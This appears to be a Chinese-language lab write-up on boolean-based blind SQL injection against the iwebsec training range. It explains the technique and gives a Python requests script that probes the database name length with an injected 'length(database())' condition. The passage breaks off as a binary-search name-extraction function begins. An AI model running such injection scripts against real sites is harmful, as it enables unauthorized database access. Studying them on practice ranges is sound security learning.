目录
iwebsec靶场在线网站
bool注入
bool注入是盲注的一种。它于报错注入不同,布尔注入没有任何报错信息输出,页面返回只有正常和不正常两种状态,攻击者只能通过返回的这两种状态来对其进行判断输入的SQL注入语句是否正确,从而判断数据库中存储了那些信息。
为了能够看见数据库中存储的信息,我选择的方法是用python编写一个脚本来对其进行输出
我们需要安装requests库
安装requests库
pip install requests
或者直接在pycharm的设置中
到这里我们需要的准备工作也就完成了
判断注入点
这个是该页面正常的状态
当我们将id=100时发现有一行数据消失了
?id=100
根据这个消失的 welcome to iwebsec!!!我们可以通过这个开始注入
*获取数据库长度(非必要)
代码如下
import requests #调用requests库,requests用来发送http请求以及接收http响应的python第三方库
url="http://www.iwebsec.com:81/sqli/03.php"
def SQLlenth():
for i in range(1,20): #判断字符长度里面的数值可以改动
payload="?id=1 and (length(database())={})--+".format(i)
req_url=url+payload #将URL和payload组合
bool =requests.get(req_url) #requests.get返回的是一个Response对象,它包含有关服务器响应的信息,如状态码、响应头和响应内容。可以通过访问对应的属性来获取这些信息。例如,可以使用.status_code来获取响应的状态码,使用.text来获取响应的内容。
if "welcome to iwebsec!!!" in bool.text:
print("SQL length is "+str(i))
从中不难看出数据库的长度为7
*获取数据库名(非必要)
为了获取数据库名,因为是盲注,所以只能进行一个一个的尝试。
这里使用的方法是二分法(后面的代码于这个相似后面就不做备注了),代码如下
def SQLname():
name&